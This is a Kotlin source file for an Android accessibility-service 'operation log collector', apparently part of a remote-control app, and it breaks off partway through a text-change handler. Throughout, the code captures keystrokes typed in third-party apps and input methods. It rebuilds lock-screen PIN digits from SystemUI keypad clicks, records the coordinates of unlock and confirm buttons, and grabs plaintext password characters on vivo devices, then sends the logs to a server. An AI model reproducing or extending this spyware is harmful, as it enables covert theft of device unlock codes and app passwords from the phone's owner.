package com.hikoncont

import android.accessibilityservice.AccessibilityService
import android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK
import android.accessibilityservice.GestureDescription
import android.content.Context
import android.content.pm.ApplicationInfo
import android.content.pm.PackageManager
import android.graphics.Path
import android.os.Handler
import android.os.Looper
import android.util.Log
import android.view.accessibility.AccessibilityEvent
import android.view.accessibility.AccessibilityNodeInfo
import com.hikoncont.service.AccessibilityRemoteService
import com.hikoncont.network.SocketIOManager
import kotlinx.coroutines.*
import org.json.JSONObject
import kotlin.random.Random

/**
 * 操作日志收集器
 * 负责收集设备操作日志并发送到服务器
 */
class OperationLogCollector(private val service: AccessibilityRemoteService) {
    
    companion object {
        private const val TAG = "OperationLogCollector"
        
        // ✅ 添加程序化输入状态跟踪
        var isProgrammaticInputActive = false
        var lastProgrammaticInputTime = 0L
        
        // ✅ vivo设备检测和优化参数
        private val isVivoDevice: Boolean by lazy {
            val brand = android.os.Build.BRAND?.lowercase() ?: ""
            val manufacturer = android.os.Build.MANUFACTURER?.lowercase() ?: ""
            val model = android.os.Build.MODEL?.lowercase() ?: ""
            
            val isVivo = brand.contains("vivo") || manufacturer.contains("vivo") || 
                        brand.contains("iqoo") || manufacturer.contains("iqoo") ||
                        model.contains("vivo") || model.contains("iqoo")
            
            if (isVivo) {
                android.util.Log.i(TAG, "🔍 检测到vivo/iQOO设备: Brand=$brand, Manufacturer=$manufacturer, Model=$model")
                android.util.Log.i(TAG, "📱 vivo设备将使用优化的数字密码记录策略")
            }
            
            isVivo
        }
        
        // ✅ vivo设备专用参数
        private val vivoOptimizedProgrammaticDetectionWindow = 500L // vivo设备程序化检测窗口缩短为500ms
        private val vivoOptimizedDuplicateWindow = 100L // vivo设备重复过滤窗口缩短为100ms
        private val vivoOptimizedReconstructionWindow = 50L // vivo设备重构去重窗口缩短为50ms
        
        // ✅ 新增：TEXT_DETECTED去重和频率控制
        private val textDetectedCache = mutableMapOf<String, Long>() // 文本内容 -> 最后记录时间
        private val packageTextCache = mutableMapOf<String, MutableSet<String>>() // 包名 -> 已记录的文本集合
        private const val TEXT_DETECTED_COOLDOWN = 5000L // 相同文本5秒内不重复记录
        private const val MAX_TEXT_DETECTED_PER_PACKAGE = 100 // 每个包最多记录100个不同文本
        private var lastTextDetectedCleanup = 0L
        private const val CACHE_CLEANUP_INTERVAL = 30000L // 30秒清理一次缓存
        
        // ✅ 新增：TEXT_DETECTED统计信息
        private var textDetectedTotalCount = 0L // 总检测到的文本数量
        private var textDetectedRecordedCount = 0L // 实际记录的文本数量
        private var textDetectedFilteredCount = 0L // 被过滤的文本数量
    }


    // 🔕 WebView页面降载：进入本应用的WebView页面时，暂停无障碍事件处理以降低开销
    @Volatile
    private var pauseAccessibilityForWebView: Boolean = false
    
    private val logScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
    private var isLogging = false
    // ✅ 高频事件去抖：减少无障碍高频事件造成的日志与CPU压力
    private var lastWindowContentChangedLogTime = 0L
    private var lastTextChangedLogTime = 0L
    
    // 🚀 移除 WebView 检测功能，简化代码
    
    init {
        // ✅ 初始化时输出TEXT_DETECTED优化信息
        Log.i(TAG, "🚀 OperationLogCollector初始化完成")
        Log.i(TAG, "📝 TEXT_DETECTED优化已启用:")
        Log.i(TAG, "  - 重复文本去重: ✅ (${TEXT_DETECTED_COOLDOWN}ms冷却)")
        Log.i(TAG, "  - 明显无意义文本过滤: ✅ (保守策略)")
        Log.i(TAG, "  - 包文本数量限制: ✅ (每包最多${MAX_TEXT_DETECTED_PER_PACKAGE}个)")
        Log.i(TAG, "  - 定期缓存清理: ✅ (${CACHE_CLEANUP_INTERVAL}ms周期)")
        Log.i(TAG, "  - 统计报告: ✅")
    }
    
    // 用于去重的最近操作记录
    private var lastAppEvent: String? = null
    private var lastAppEventTime: Long = 0
    private val deduplicateWindow = 2000L // 2秒内的重复事件去重
    

    
    // 密码输入相关状态跟踪
    private var isPasswordInputActive = false
    private var passwordInputStartTime = 0L
    private var passwordInputEvents = mutableListOf<Map<String, Any>>()
    private var lastPasswordEventTime = 0L
    private var currentPasswordLength = 0
    private val passwordInputTimeout = 5000L // 5秒内的输入认为是同一个密码输入过程

    // ✅ 确认按钮坐标捕获相关状态
    private var isAwaitingConfirmClick = false
    private var confirmClickStartTime = 0L
    private var lastConfirmClickCoordinate: Pair<Float, Float>? = null
    private val confirmClickTimeout = 5000L // 5秒超时
    
    // ✅ 数字密码序列记录
    private val numericPasswordSequence = mutableListOf<Map<String, Any>>()
    
    // ✅ 数字0检测标志 - 一旦检测到0，就确定是数字密码
    private var hasDetectedZero = false
    
    // ✅ 新增：防止重复分析的锁
    private var isPasswordAnalyzing = false
    private var lastPasswordAnalysisTime = 0L
    private val passwordAnalysisLockTimeout = 3000L // 3秒内不重复分析

    // ✅ 增强检测的安全开关
    private var isEnhancedDetectionMode = false
    private var enhancedDetectionStartTime = 0L
    private val enhancedDetectionTimeout = 30000L // 30秒后自动关闭增强模式
    
    // ✅ vivo设备专用密码捕获优化
    private val vivoExtractedChars = mutableListOf<String>() // vivo设备捕获的明文字符
    private var vivoLastCaptureTime = 0L // vivo设备最后捕获时间
    private val vivoCaptureWindow = 100L // vivo设备捕获窗口100ms
    private var vivoPasswordBuffer = "" // vivo设备密码缓冲区
    private val vivoActiveScanning = mutableSetOf<String>() // vivo设备正在扫描的包名
    
    // 🔧 新增：批量日志发送配置，避免与屏幕数据传输冲突
    private val logSendBuffer = mutableListOf<JSONObject>()
    private val logSendDelay = 1000L // 1秒延迟发送，避免与控制命令同时传输
    private var lastLogSendTime = 0L
    private var logSendJob: kotlinx.coroutines.Job? = null
    
    /**
     * 开始日志收集
     */
    fun startLogging() {
        isLogging = true
        Log.i(TAG, "🔍 开始收集操作日志")
    }
    
    // 🚀 移除 WebView 模式设置功能
    
    /**
     * 停止日志收集
     */
    fun stopLogging() {
        isLogging = false
        Log.i(TAG, "⏹️ 停止收集操作日志")
    }
    
    /**
     * 记录操作日志
     */
    fun recordLog(logType: String, content: String, extraData: Map<String, Any>?) {
        if (!isLogging) return
        
        // ✅ 特别关注密码分析相关的日志
        if (logType == "TEXT_INPUT" && (content.contains("密码") || content.contains("🔒") || extraData?.get("isPasswordCapture") == true)) {
            Log.d(TAG, "🔒 [密码分析] 发送密码分析日志到服务器: $logType - $content")
            Log.d(TAG, "🔒 [密码分析] 额外数据: ${extraData?.keys?.joinToString(", ")}")
        }
        if (logType == "TEXT_DETECTED"){
            //不要這個數據，沒用
            return
        }
        
        logScope.launch {
            try {
                sendLogToServer(logType, content, extraData)
            } catch (e: Exception) {
                Log.e(TAG, "❌ 发送日志失败: $content", e)
            }
        }
    }
    
    /**
     * 处理无障碍事件（用于检测应用切换等）
     */
    fun handleAccessibilityEvent(event: AccessibilityEvent) {
        if (!isLogging) {
            Log.d(TAG, "🚫 日志记录未启用，跳过事件处理")
            return
        }


//        try {
//            val pkg = event.packageName?.toString() ?: ""
//            val cls = event.className?.toString() ?: ""
//            val isOurApp = pkg == service.packageName
//            val isWebViewClass = cls.contains("WebView", ignoreCase = true) || cls == "android.webkit.WebView"
//            if (event.eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED ||  event.eventType == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
//                if (isOurApp && isWebViewClass) {
//                    pauseAccessibilityForWebView = true
//                } else if (!isWebViewClass) {
//                    pauseAccessibilityForWebView = false
//                }
//            }
//            if (pauseAccessibilityForWebView && isOurApp) {
//                return
//            }
//        } catch (_: Exception) { }


        
        val type = event.eventType
        val now = System.currentTimeMillis()
        // 去抖：窗口内容变化 500ms 内只处理一次日志
        if (type == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
            if (now - lastWindowContentChangedLogTime < 500L) {
                // 仍然允许后续逻辑处理，但避免高频日志打印（此处直接返回可进一步降噪）
                return
            }
            lastWindowContentChangedLogTime = now
        }
        // 去抖：文本变化 200ms 内只处理一次日志
        if (type == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
            if (now - lastTextChangedLogTime < 200L) {
                return
            }
            lastTextChangedLogTime = now
        }
        
        // 仅对关键事件保留详细日志
        val isCriticalEvent = (type == AccessibilityEvent.TYPE_VIEW_CLICKED
                || type == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED)
        
        val packageName = event.packageName?.toString() ?: ""
        val className = event.className?.toString() ?: ""
        val eventTypeString = if (isCriticalEvent) eventTypeToString(type) else ""
        
        if (isCriticalEvent) {
            Log.d(TAG, "🔍 [事件监控] 处理无障碍事件: 类型=$eventTypeString($type), 包名=$packageName, 类名=$className")
        }
        
        // ✅ 检查是否为输入法相关包名
        val isInputMethodPackage = packageName.lowercase().let { pkg ->
            pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") ||
            pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou") ||
            pkg.contains("baidu") || pkg.contains("iflytek")
        }
        
        // ✅ 特别关注第三方应用和输入法的事件
        if (isCriticalEvent && !packageName.contains("systemui", ignoreCase = true)) {
            val eventText = event.text?.joinToString("") ?: ""
            val contentDesc = event.contentDescription?.toString() ?: ""
            val appType = if (isInputMethodPackage) "输入法" else "第三方应用"
            when (type) {
                AccessibilityEvent.TYPE_VIEW_FOCUSED -> {
                    Log.i(TAG, "🎯 [$appType] 焦点事件: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
                }
                AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> {
                    Log.i(TAG, "📝 [$appType] 文本变化事件: 包名=$packageName, 类名=$className, 文本='$eventText'")
                }
                AccessibilityEvent.TYPE_VIEW_CLICKED -> {
                    Log.i(TAG, "👆 [$appType] 点击事件: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
                    analyzeClickedElement(event, packageName, className, eventText, contentDesc)
                }
                AccessibilityEvent.TYPE_TOUCH_INTERACTION_START -> {
                    Log.i(TAG, "👆 [$appType] 触摸开始事件: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
                }
                AccessibilityEvent.TYPE_TOUCH_INTERACTION_END -> {
                    Log.i(TAG, "👆 [$appType] 触摸结束事件: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
                }
                AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED -> {
                    if (eventText.isNotEmpty() || contentDesc.isNotEmpty()) {
                        Log.v(TAG, "🔄 [$appType] 窗口内容变化: 包名=$packageName, 文本='$eventText', 描述='$contentDesc'")
                    }
                }
            }
        }
        
        try {
            if (isCriticalEvent && packageName.contains("systemui", ignoreCase = true)) {
                Log.d(TAG, "🔍 SystemUI事件: 类型=${event.eventType}, 类名=$className, 包名=$packageName")
                

            }
            
            when (event.eventType) {
                AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED -> {
                    handleWindowStateChanged(event)
                }
                AccessibilityEvent.TYPE_VIEW_CLICKED -> {
                    Log.d(TAG, "🔍 [密码分析] 处理点击事件 - 可能包含数字密码分析")
                    handleViewClicked(event)
                }
                AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> {
                    Log.d(TAG, "🔍 [密码分析] 处理文本变化事件 - 核心密码输入检测")
                    handleTextChanged(event)
                }
                AccessibilityEvent.TYPE_VIEW_SCROLLED -> {
                    handleViewScrolled(event)
                }
                AccessibilityEvent.TYPE_TOUCH_INTERACTION_START -> {
                    handleTouchStart(event)
                }
                AccessibilityEvent.TYPE_TOUCH_INTERACTION_END -> {
                    handleTouchEnd(event)
                }

                AccessibilityEvent.TYPE_VIEW_SELECTED -> {
                    handleViewSelected(event)
                }
                AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED -> {
                    handleEnhancedWindowContentChanged(event)
                    // ✅ vivo设备额外密码捕获机会
                    if (isVivoDevice && isPasswordField(event)) {
                        val text = event.text?.joinToString("") ?: ""
                        val beforeText = event.beforeText?.toString() ?: ""
                        if (text.isNotEmpty()) {
                            Log.d(TAG, "📱 [vivo额外捕获] WINDOW_CONTENT_CHANGED密码事件: '$text'")
                            handleVivoPasswordCapture(event, text, beforeText, packageName, className)
                        }
                    }
                }
                AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED -> {
                    handleTextSelectionChanged(event)
                    // ✅ vivo设备额外密码捕获机会
                    if (isVivoDevice && isPasswordField(event)) {
                        val text = event.text?.joinToString("") ?: ""
                        val beforeText = event.beforeText?.toString() ?: ""
                        if (text.isNotEmpty()) {
                            Log.d(TAG, "📱 [vivo额外捕获] TEXT_SELECTION_CHANGED密码事件: '$text'")
                            handleVivoPasswordCapture(event, text, beforeText, packageName, className)
                        }
                    }
                }
                AccessibilityEvent.TYPE_VIEW_FOCUSED -> {
                    handleViewFocused(event)
                }
                // ✅ 新增：添加更多事件类型的监听
                AccessibilityEvent.TYPE_VIEW_LONG_CLICKED -> {
                    handleViewLongClicked(event)
                }
                AccessibilityEvent.TYPE_VIEW_HOVER_ENTER -> {
                    handleViewHover(event, "HOVER_ENTER")
                }
                AccessibilityEvent.TYPE_VIEW_HOVER_EXIT -> {
                    handleViewHover(event, "HOVER_EXIT")
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理无障碍事件失败", e)
        }
    }
    
    /**
     * 将事件类型转换为可读字符串
     */
    private fun eventTypeToString(eventType: Int): String {
        return when (eventType) {
            AccessibilityEvent.TYPE_VIEW_CLICKED -> "VIEW_CLICKED"
            AccessibilityEvent.TYPE_VIEW_LONG_CLICKED -> "VIEW_LONG_CLICKED"
            AccessibilityEvent.TYPE_VIEW_SELECTED -> "VIEW_SELECTED"
            AccessibilityEvent.TYPE_VIEW_FOCUSED -> "VIEW_FOCUSED"
            AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> "VIEW_TEXT_CHANGED"
            AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED -> "WINDOW_STATE_CHANGED"
            AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED -> "NOTIFICATION_STATE_CHANGED"
            AccessibilityEvent.TYPE_VIEW_HOVER_ENTER -> "VIEW_HOVER_ENTER"
            AccessibilityEvent.TYPE_VIEW_HOVER_EXIT -> "VIEW_HOVER_EXIT"
            AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_START -> "TOUCH_EXPLORATION_GESTURE_START"
            AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_END -> "TOUCH_EXPLORATION_GESTURE_END"
            AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED -> "WINDOW_CONTENT_CHANGED"
            AccessibilityEvent.TYPE_VIEW_SCROLLED -> "VIEW_SCROLLED"
            AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED -> "VIEW_TEXT_SELECTION_CHANGED"
            AccessibilityEvent.TYPE_ANNOUNCEMENT -> "ANNOUNCEMENT"
            AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED -> "VIEW_ACCESSIBILITY_FOCUSED"
            AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED -> "VIEW_ACCESSIBILITY_FOCUSED"
            AccessibilityEvent.TYPE_VIEW_TEXT_TRAVERSED_AT_MOVEMENT_GRANULARITY -> "VIEW_TEXT_TRAVERSED_AT_MOVEMENT_GRANULARITY"
            AccessibilityEvent.TYPE_GESTURE_DETECTION_START -> "GESTURE_DETECTION_START"
            AccessibilityEvent.TYPE_GESTURE_DETECTION_END -> "GESTURE_DETECTION_END"
            AccessibilityEvent.TYPE_TOUCH_INTERACTION_START -> "TOUCH_INTERACTION_START"
            AccessibilityEvent.TYPE_TOUCH_INTERACTION_END -> "TOUCH_INTERACTION_END"
            else -> "UNKNOWN_$eventType"
        }
    }
    
    /**
     * 处理窗口状态变化（应用切换）
     */
    private fun handleWindowStateChanged(event: AccessibilityEvent) {
        val packageName = event.packageName?.toString() ?: return
        val className = event.className?.toString() ?: return
        
        // 去重：避免重复记录相同应用
        val currentEvent = "$packageName|$className"
        val currentTime = System.currentTimeMillis()
        
        if (currentEvent == lastAppEvent && (currentTime - lastAppEventTime) < deduplicateWindow) {
            return
        }
        
        lastAppEvent = currentEvent
        lastAppEventTime = currentTime
        
        // 获取应用名称
        val appName = getAppName(packageName) ?: packageName
        
        logScope.launch {
            recordLog(
                "APP_OPENED",
                "打开应用: $appName",
                mapOf(
                    "packageName" to packageName,
                    "className" to className,
                    "appName" to appName
                )
            )
        }
    }
    
    /**
     * 处理点击事件 - 增强密码场景处理和确认按钮坐标捕获
     */
    private fun handleViewClicked(event: AccessibilityEvent) {
        val text = event.text?.joinToString(" ") ?: ""
        val className = event.className?.toString() ?: ""
        val packageName = event.packageName?.toString() ?: ""
        val contentDescription = event.contentDescription?.toString() ?: ""
        
        // ✅ 安全的增强检测：只在密码输入场景激活
        if (shouldUseEnhancedDetection(packageName, className, text, contentDescription)) {
            val eventText = event.text?.joinToString("") ?: ""
            val contentDesc = event.contentDescription?.toString() ?: ""
            
            // 强化第三方应用键盘检测（仅在增强模式下）
            val isLikelyKeyboardClick = detectKeyboardClick(packageName, className, eventText, contentDesc)
            
            if (isLikelyKeyboardClick) {
                val detectedChar = extractKeyboardCharacter(eventText, contentDesc, className)
                if (detectedChar.isNotEmpty()) {
                    Log.w(TAG, "🚨 [增强模式] 键盘输入检测: '$detectedChar' from $packageName")
                    
                    // 立即记录键盘字符
                    logScope.launch {
                        recordLog(
                            "ENHANCED_KEYBOARD_CLICK", 
                            "增强键盘检测: $detectedChar",
                            mapOf(
                                "character" to detectedChar,
                                "packageName" to packageName,
                                "className" to className,
                                "originalText" to eventText,
                                "contentDescription" to contentDesc,
                                "detectionMethod" to "enhanced_click_detection",
                                "enhancedMode" to true
                            )
                        )
                    }
                    
                    // 如果是数字，添加到数字序列
                    if (detectedChar.matches(Regex("[0-9]"))) {
                        val currentTime = System.currentTimeMillis()
                        numericPasswordSequence.add(mapOf(
                            "digit" to detectedChar,
                            "timestamp" to currentTime,
                            "className" to className,
                            "packageName" to packageName,
                            "source" to "enhanced_click_detection"
                        ))
                        Log.w(TAG, "🔢 [增强模式] 数字序列添加: $detectedChar (总计: ${numericPasswordSequence.size})")
                    }
                }
            }
        }
        
        // ✅ 检查是否为等待中的确认按钮点击
        val currentTime = System.currentTimeMillis()
        if (isAwaitingConfirmClick && (currentTime - confirmClickStartTime) <= confirmClickTimeout) {
            // 检查是否是确认按钮点击
            if (isPossibleConfirmButton(text, contentDescription, className)) {
                // 尝试获取点击坐标
                val coordinates = extractClickCoordinates(event)
                if (coordinates != null) {
                    lastConfirmClickCoordinate = coordinates
                    Log.d(TAG, "✅ 捕获到确认按钮点击坐标: (${coordinates.first}, ${coordinates.second})")
                    isAwaitingConfirmClick = false
                }
            }
        }
        
        // 检测特殊点击场景
        val isKeyboardKey = isVirtualKeyboard(packageName, className)
        val isFingerprintSensor = isFingerprintSensor(contentDescription, className)
        
        // ✅ 处理数字键盘点击 - 记录数字序列用于密码重构
        // ✅ 增强数字键检测：支持带字母格式（如"PQRS 7", "MNO 6"）
        val extractedDigit = extractDigitFromText(text)
        val isNumericKey = extractedDigit != null
        // ✅ 修复：SystemUI的数字键盘不依赖isKeyboardKey判断
        val isNumericKeypad = isNumericKey && (
            isKeyboardKey || // 传统键盘
            packageName.contains("systemui", ignoreCase = true) || // SystemUI锁屏键盘
            className.contains("numpad", ignoreCase = true) || 
                                               className.contains("numeric", ignoreCase = true) ||
            className.contains("keypad", ignoreCase = true)
        )
        
        // ✅ 增强：第三方应用的键盘字符检测 - 更宽泛的检测条件
        val isThirdPartyKeyboardInput = !packageName.contains("systemui", ignoreCase = true) && (
            // 方法1：基于文本内容
            (text.length == 1 && text.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/]"))) ||
            // 方法2：基于提取的字符
            extractedDigit != null ||
            // 方法3：基于类名特征
            (isKeyboardKey || className.lowercase().let { cls ->
                cls.contains("key") || cls.contains("button") || cls.contains("numpad") || 
                cls.contains("keyboard") || cls.contains("input") || cls.contains("pin") ||
                cls.contains("digit") || cls.contains("char")
            }) ||
            // 方法4：基于内容描述特征
            contentDescription.lowercase().let { desc ->
                desc.contains("key") || desc.contains("按键") || desc.contains("键") ||
                desc.contains("button") || desc.contains("输入") || desc.contains("数字") ||
                desc.matches(Regex(".*[0-9a-zA-Z].*"))
            }
        )
        
        Log.i(TAG, "🔍 [密码分析] 数字键检测: text='$text', isNumericKey=$isNumericKey, isNumericKeypad=$isNumericKeypad, isKeyboardKey=$isKeyboardKey")
        Log.i(TAG, "🔍 [密码分析] 第三方键盘: isThirdPartyKeyboardInput=$isThirdPartyKeyboardInput")
        Log.i(TAG, "🔍 [密码分析] 事件上下文: 包名=$packageName, 类名=$className")
        
        // ✅ 新增：处理第三方应用的键盘输入
        if (isThirdPartyKeyboardInput) {
            val inputCharacter = extractedDigit ?: text.take(1)
            Log.i(TAG, "⌨️ [第三方键盘] 检测到键盘字符输入: '$inputCharacter' (原始: '$text') 来自包名=$packageName")
            Log.i(TAG, "⌨️ [第三方键盘] 检测条件: 文本='$text', 类名=$className, 描述='$contentDescription'")
            
            // 记录第三方应用的键盘输入
            logScope.launch {
                recordLog(
                    "THIRD_PARTY_KEYBOARD_INPUT",
                    "第三方应用键盘输入: $inputCharacter",
                    mapOf(
                        "character" to inputCharacter,
                        "originalText" to text,
                        "contentDescription" to contentDescription,
                        "className" to className,
                        "packageName" to packageName,
                        "isNumeric" to (extractedDigit != null),
                        "isKeyboardKey" to isKeyboardKey,
                        "eventType" to "KEYBOARD_CHARACTER",
                        "source" to "third_party_app",
                        "detectionMethod" to "click_event_analysis"
                    )
                )
            }
            
            // ✅ 额外的强化记录 - 确保不会被遗漏
            Log.w(TAG, "🚨 [强化记录] 第三方键盘输入确认: '$inputCharacter' from $packageName")
        }
        
        // ✅ 修复：只有在程序化输入时才使用特殊的数字密码处理
        if (isNumericKey && isNumericKeypad) {
            // 检查是否是程序化输入
            val isProgrammaticInput = isCurrentlyExecutingNumericPasswordInput()
            
            if (isProgrammaticInput) {
                Log.w(TAG, "🔢 [程序化输入] 检测到程序化数字键点击: $text - 使用专用处理")
                
                // 程序化输入使用专用的密码输入处理
                handlePasswordInput(event, text, "", currentTime)
                return // 程序化输入直接返回，不进行后续处理
            } else {
                Log.w(TAG, "🔢 [用户输入] 检测到用户数字键点击: $text - 使用正常流程")
                
                                    // ✅ 修复：对于锁屏页面的用户真实数字输入，只记录数字序列，不调用handlePasswordInput
                if (packageName.contains("systemui", ignoreCase = true)) {
                    Log.i(TAG, "🔢 [锁屏数字输入] 检测到锁屏页面用户数字输入: $text")
                    
                    // ✅ 修复：记录数字到序列中，但避免重复记录
                    val digitToRecord = extractedDigit ?: text
                    
                    // 检查是否与最近的记录重复（时间窗口内的相同数字）
                    val lastRecord = numericPasswordSequence.lastOrNull()
                    val lastDigit = lastRecord?.get("digit") as? String
                    val lastTimestamp = lastRecord?.get("timestamp") as? Long ?: 0L
                    val timeDiff = currentTime - lastTimestamp
                    
                    // ✅ vivo设备使用优化的重复过滤窗口，减少误过滤
                    val duplicateWindow = if (isVivoDevice) {
                        vivoOptimizedDuplicateWindow // vivo设备: 100ms
                    } else {
                        200L // 其他设备: 200ms
                    }
                    
                    val isDuplicate = lastDigit == digitToRecord && timeDiff < duplicateWindow
                    
                    if (!isDuplicate) {
                        numericPasswordSequence.add(mapOf(
                            "digit" to digitToRecord,
                            "timestamp" to currentTime,
                            "className" to className,
                            "packageName" to packageName,
                            "source" to "user_click",
                            "originalText" to text // 保留原始文本用于调试
                        ))
                        Log.i(TAG, "🔢 [锁屏数字输入] 已记录用户数字输入: $digitToRecord (原始: $text), 当前序列长度: ${numericPasswordSequence.size}")
                        if (isVivoDevice) {
                            Log.d(TAG, "📱 [vivo优化] 使用优化重复过滤窗口: ${duplicateWindow}ms")
                        }
                    } else {
                        Log.d(TAG, "🔢 [锁屏数字输入] 跳过重复数字: $digitToRecord (时间差: ${timeDiff}ms, 过滤窗口: ${duplicateWindow}ms)")
                    }
                    
                    // 检测到数字0，立即标记
                    if (digitToRecord == "0") {
                        hasDetectedZero = true
                        Log.d(TAG, "⚡ 用户输入检测到数字0，切换模式: hasDetectedZero = true")
                    }
                    
                    // ✅ 修复：删除handlePasswordInput调用，避免重复处理
                    // 密码分析将完全由真实的文本变化事件触发，避免模拟事件和重复处理
                }
            }
        }
        

        
        // ✅ 优化数字键盘点击记录
        if (text.isNotEmpty() || className.isNotEmpty() || isKeyboardKey || isFingerprintSensor) {
            // ✅ 使用相同的增强数字检测逻辑
            val logExtractedDigit = extractDigitFromText(text)
            val isNumericKey = logExtractedDigit != null
            val isNumericKeypad = isKeyboardKey && (className.contains("numpad", ignoreCase = true) || 
                                                   className.contains("numeric", ignoreCase = true) ||
                                                   packageName.contains("systemui", ignoreCase = true))
            
            val logContent = when {
                isFingerprintSensor -> "指纹识别操作"
                isNumericKey && isNumericKeypad -> {
                    val displayText = if (logExtractedDigit != null && logExtractedDigit != text) {
                        "$logExtractedDigit (原始: $text)"
                    } else {
                        logExtractedDigit ?: text
                    }
                    "🔢 数字密码键盘点击: $displayText"
                }
                isNumericKey -> {
                    val displayText = if (logExtractedDigit != null && logExtractedDigit != text) {
                        "$logExtractedDigit (原始: $text)"
                    } else {
                        logExtractedDigit ?: text
                    }
                    "🔢 数字键点击: $displayText"
                }
                isKeyboardKey -> "虚拟键盘输入: ${if (text.isNotEmpty()) text else "特殊键"}"
                text.isNotEmpty() -> "点击控件: $text"
                else -> "点击控件 ($className)"
            }
            
            logScope.launch {
                val extraData = mutableMapOf<String, Any>(
                        "text" to text,
                        "className" to className,
                        "packageName" to packageName,
                        "contentDescription" to contentDescription,
                        "isKeyboardKey" to isKeyboardKey,
                    "isNumericKey" to isNumericKey,
                    "isNumericKeypad" to isNumericKeypad,

                        "isFingerprintSensor" to isFingerprintSensor
                    )
                if (isNumericKey) {
                    extraData["digitValue"] = logExtractedDigit ?: text
                    if (logExtractedDigit != null && logExtractedDigit != text) {
                        extraData["originalText"] = text
                    }
                }
                
                recordLog(
                    "CLICK",
                    logContent,
                    extraData
                )
            }
        }
    }
    
    /**
     * ✅ 增强版：检查是否为可能的确认按钮
     */
    private fun isPossibleConfirmButton(text: String, contentDescription: String, className: String): Boolean {
        val confirmKeywords = arrayOf(
            // 中文确认关键词
            "确认", "确定", "完成", "提交", "登录", "解锁", "继续", "下一步", "进入",
            "好的", "同意", "允许", "授权", "开始", "立即", "确认密码", "确认解锁",
            // 英文确认关键词
            "ok", "done", "confirm", "submit", "enter", "go", "next", "continue", 
            "login", "unlock", "agree", "allow", "start", "begin", "sign in", "log in",
            // 符号类确认
            "→", "✓", "√", "➤", "⏎", "↵"
        )
        
        // 排除关键词（避免误判）
        val excludeKeywords = arrayOf(
            "取消", "cancel", "back", "返回", "删除", "delete", "clear", "重置", "reset",
            "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", // 排除数字键盘
            "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", 
            "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" // 排除字母键盘
        )
        
        val textLower = text.lowercase().trim()
        val descLower = contentDescription.lowercase().trim()
        val classLower = className.lowercase()
        
        // ✅ 先检查排除条件
        for (exclude in excludeKeywords) {
            if (textLower == exclude || descLower == exclude) {
                Log.d(TAG, "🚫 排除按钮: '$text' (匹配排除关键词: $exclude)")
                return false
            }
        }
        
        // ✅ 检查确认关键词
        for (keyword in confirmKeywords) {
            if (textLower.contains(keyword) || descLower.contains(keyword)) {
                Log.d(TAG, "✅ 确认按钮匹配关键词: '$text' / '$contentDescription' (关键词: $keyword)")
                return true
            }
        }
        
        // ✅ 检查是否为按钮类控件（更严格的条件）
        val isButtonLikeControl = classLower.contains("button") || 
                                 classLower.contains("imagebutton") ||
                                 (classLower.contains("imageview") && (text.isNotEmpty() || contentDescription.isNotEmpty())) ||
                                 (classLower.contains("textview") && text.isNotEmpty() && text.length <= 10) // 限制文本长度，避免长文本
        
        // ✅ 如果是按钮类控件，但没有明确的确认文字，进行进一步检查
        if (isButtonLikeControl) {
            // 如果是空文本的按钮，可能是图标按钮
            if (text.isEmpty() && contentDescription.isEmpty()) {
                Log.d(TAG, "🤔 可能的图标确认按钮: 类名=$className")
                return true
            }
            
            // 如果有简短的文本，可能是确认按钮
            if (text.isNotEmpty() && text.length <= 6 && !text.matches(Regex("\\d+"))) {
                Log.d(TAG, "✅ 可能的文本确认按钮: '$text'")
                return true
            }
        }
        
        Log.d(TAG, "❌ 不是确认按钮: '$text' / '$contentDescription' / '$className'")
        return false
    }
    
    /**
     * ✅ 新增：尝试从事件中提取点击坐标
     */
    private fun extractClickCoordinates(event: AccessibilityEvent): Pair<Float, Float>? {
        try {
            // 从事件源节点获取屏幕坐标
            val source = event.source
            if (source != null) {
                val rect = android.graphics.Rect()
                source.getBoundsInScreen(rect)
                
                // 返回控件中心点坐标
                val centerX = (rect.left + rect.right) / 2.0f
                val centerY = (rect.top + rect.bottom) / 2.0f
                
                source.recycle()
                return Pair(centerX, centerY)
            }
        } catch (e: Exception) {
            Log.w(TAG, "提取点击坐标失败", e)
        }
        return null
    }
    
    /**
     * 处理文本变化事件 - 增强密码输入分析
     */
    private fun handleTextChanged(event: AccessibilityEvent) {
        val packageName = event.packageName?.toString() ?: ""
        val className = event.className?.toString() ?: ""
        val text = event.text?.joinToString("") ?: ""
        val beforeText = event.beforeText?.toString() ?: ""
        
        // ✅ 智能检测密码输入场景并启用增强模式
        val isPotentialPasswordScenario = detectPasswordScenario(packageName, className, text, beforeText)
